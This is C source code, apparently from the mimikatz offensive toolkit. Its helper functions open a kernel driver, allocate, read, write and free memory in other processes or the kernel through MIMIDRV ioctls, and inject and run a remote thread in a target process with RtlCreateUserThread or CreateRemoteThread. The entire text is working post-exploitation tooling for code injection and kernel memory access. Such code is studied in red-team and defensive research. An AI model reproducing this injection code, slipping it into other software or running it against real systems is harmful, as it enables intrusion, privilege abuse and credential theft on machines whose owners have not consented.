BOOL kull_m_kernel_ioctl(PCWSTR driver, DWORD ioctlCode, PVOID bufferIn, DWORD szBufferIn, PVOID * pBufferOut, PDWORD pSzBufferOut, BOOL autobuffer) { BOOL status = FALSE; HANDLE hDriver; hDriver = CreateFile(driver, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(hDriver && hDriver != INVALID_HANDLE_VALUE) { status = kull_m_kernel_ioctl_handle(hDriver, ioctlCode, bufferIn, szBufferIn, pBufferOut, pSzBufferOut, autobuffer); CloseHandle(hDriver); } else PRINT_ERROR_AUTO(L"CreateFile"); return status; }
BOOL kull_m_memory_free(IN PKULL_M_MEMORY_ADDRESS Address, IN SIZE_T Lenght) { BOOL status = FALSE; switch(Address->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: status = VirtualFree(Address->address, Lenght, MEM_RELEASE); break; case KULL_M_MEMORY_TYPE_PROCESS: status = VirtualFreeEx(Address->hMemory->pHandleProcess->hProcess, Address->address, Lenght, MEM_RELEASE); break; case KULL_M_MEMORY_TYPE_KERNEL: kull_m_kernel_ioctl_handle(Address->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_VM_FREE, Address->address, 0, NULL, NULL, FALSE); break; default: break; } return status; }
BOOL kull_m_memory_alloc(IN PKULL_M_MEMORY_ADDRESS Address, IN SIZE_T Lenght, IN DWORD Protection) { PVOID ptrAddress = &Address->address; DWORD lenPtr = sizeof(PVOID); Address->address = NULL; switch(Address->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: Address->address = VirtualAlloc(NULL, Lenght, MEM_COMMIT, Protection); break; case KULL_M_MEMORY_TYPE_PROCESS: Address->address = VirtualAllocEx(Address->hMemory->pHandleProcess->hProcess, NULL, Lenght, MEM_COMMIT, Protection); break; case KULL_M_MEMORY_TYPE_KERNEL: kull_m_kernel_ioctl_handle(Address->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_VM_ALLOC, NULL, (DWORD) Lenght, &ptrAddress, &lenPtr, FALSE); break; default: break; } return (Address->address) != NULL; }
BOOL kull_m_remotelib_create(PKULL_M_MEMORY_ADDRESS aRemoteFunc, PREMOTE_LIB_INPUT_DATA input, PREMOTE_LIB_OUTPUT_DATA output) { BOOL success = FALSE; NTSTATUS status; HANDLE hThread; KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aRemoteData = {NULL, aRemoteFunc->hMemory}, aSuppData = {NULL, aRemoteFunc->hMemory}, aLocalAddr = {NULL, &hLocalBuffer}; PREMOTE_LIB_DATA data; REMOTE_LIB_OUTPUT_DATA oData; MIMIDRV_THREAD_INFO drvInfo = {(PTHREAD_START_ROUTINE) aRemoteFunc->address, NULL}; DWORD size = FIELD_OFFSET(REMOTE_LIB_DATA, input.inputData) + input->inputSize; if(!output) output = &oData; //kprintf(L"\ninput\n" // L".void = 0x%p\n" // L".dword = 0x%08x - %u\n" // L".size = %u\n" // L".data[] = [ ", // input->inputVoid, input->inputDword, input->inputDword, input->inputSize); //kull_m_string_wprintf_hex(input->inputData, input->inputSize, 1); //kprintf(L"]\n"); if(data = (PREMOTE_LIB_DATA) LocalAlloc(LPTR, size)) { RtlCopyMemory(&data->input, input, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + input->inputSize); if(kull_m_memory_alloc(&aRemoteData, size, PAGE_READWRITE)) { aLocalAddr.address = data; if(kull_m_memory_copy(&aRemoteData, &aLocalAddr, size)) { switch(aRemoteFunc->hMemory->type) { case KULL_M_MEMORY_TYPE_PROCESS: if(MIMIKATZ_NT_MAJOR_VERSION > 5) { status = RtlCreateUserThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, &hThread, NULL); if(!NT_SUCCESS(status)) { hThread = NULL; PRINT_ERROR(L"RtlCreateUserThread (0x%08x)\n", status); } } else if(!(hThread = CreateRemoteThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, 0, NULL))) PRINT_ERROR_AUTO(L"CreateRemoteThread"); if(hThread) { WaitForSingleObject(hThread, INFINITE); success = CloseHandle(hThread); } break; case KULL_M_MEMORY_TYPE_KERNEL: drvInfo.pArg = aRemoteData.address; kprintf(L"Th @ %p\nDa @ %p\n", drvInfo.pRoutine, drvInfo.pArg); if(!(success = kull_m_kernel_ioctl_handle(aRemoteFunc->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_CREATEREMOTETHREAD, &drvInfo, sizeof(MIMIDRV_THREAD_INFO), NULL, NULL, FALSE))) PRINT_ERROR_AUTO(L"kull_m_kernel_ioctl_handle"); break; } if(success) { aLocalAddr.address = output; if(success = kull_m_memory_copy(&aLocalAddr, &aRemoteData, sizeof(REMOTE_LIB_OUTPUT_DATA))) { //kprintf(L"\noutput\n" // L".void = 0x%p\n" // L".dword = 0x%08x - %u\n" // L".status = 0x%08x - %u\n" // L".size = %u\n" // L".data = 0x%p\n", // output->outputVoid, output->outputDword, output->outputDword, output->outputStatus, output->outputStatus, output->outputSize, output->outputData); if(aSuppData.address = output->outputData) { if(output != &oData) { success = FALSE; output->outputData = NULL; if(output->outputSize) { if(aLocalAddr.address = LocalAlloc(LPTR, output->outputSize)) { if(success = kull_m_memory_copy(&aLocalAddr, &aSuppData, output->outputSize)) { output->outputData = aLocalAddr.address; //kprintf(L"\t[ "); kull_m_string_wprintf_hex(output->outputData, output->outputSize, 1); kprintf(L"]\n"); } else LocalFree(aLocalAddr.address); } } if(!success) output->outputSize = 0; } kull_m_memory_free(&aSuppData, 0); } } } } kull_m_memory_free(&aRemoteData, 0); } LocalFree(data); } return success; }
BOOL kull_m_memory_copy(OUT PKULL_M_MEMORY_ADDRESS Destination, IN PKULL_M_MEMORY_ADDRESS Source, IN SIZE_T Length) { BOOL status = FALSE; BOOL bufferMeFirst = FALSE; KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; DWORD nbReadWrite; switch(Destination->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: switch(Source->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: RtlCopyMemory(Destination->address, Source->address, Length); status = TRUE; break; case KULL_M_MEMORY_TYPE_PROCESS: status = ReadProcessMemory(Source->hMemory->pHandleProcess->hProcess, Source->address, Destination->address, Length, NULL); break; case KULL_M_MEMORY_TYPE_PROCESS_DMP: status = kull_m_minidump_copy(Source->hMemory->pHandleProcessDmp->hMinidump, Destination->address, Source->address, Length); break; case KULL_M_MEMORY_TYPE_FILE: if(SetFilePointer(Source->hMemory->pHandleFile->hFile, PtrToLong(Source->address), NULL, FILE_BEGIN) != INVALID_SET_FILE_POINTER) status = ReadFile(Source->hMemory->pHandleFile->hFile, Destination->address, (DWORD) Length, &nbReadWrite, NULL); break; case KULL_M_MEMORY_TYPE_KERNEL: status = kull_m_kernel_ioctl_handle(Source->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_VM_READ, Source->address, 0, &Destination->address, (PDWORD) &Length, FALSE); break; default: break; } break; case KULL_M_MEMORY_TYPE_PROCESS: switch(Source->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: status = WriteProcessMemory(Destination->hMemory->pHandleProcess->hProcess, Destination->address, Source->address, Length, NULL); break; default: bufferMeFirst = TRUE; break; } break; case KULL_M_MEMORY_TYPE_FILE: switch(Source->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: if(!Destination->address || SetFilePointer(Destination->hMemory->pHandleFile->hFile, PtrToLong(Destination->address), NULL, FILE_BEGIN)) status = WriteFile(Destination->hMemory->pHandleFile->hFile, Source->address, (DWORD) Length, &nbReadWrite, NULL); break; default: bufferMeFirst = TRUE; break; } break; case KULL_M_MEMORY_TYPE_KERNEL: switch(Source->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: status = kull_m_kernel_ioctl_handle(Destination->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_VM_WRITE, Source->address, (DWORD) Length, &Destination->address, NULL, FALSE); break; default: bufferMeFirst = TRUE; break; } break; default: break; } if(bufferMeFirst) { if(aBuffer.address = LocalAlloc(LPTR, Length)) { if(kull_m_memory_copy(&aBuffer, Source, Length)) status = kull_m_memory_copy(Destination, &aBuffer, Length); LocalFree(aBuffer.address); } } return status; }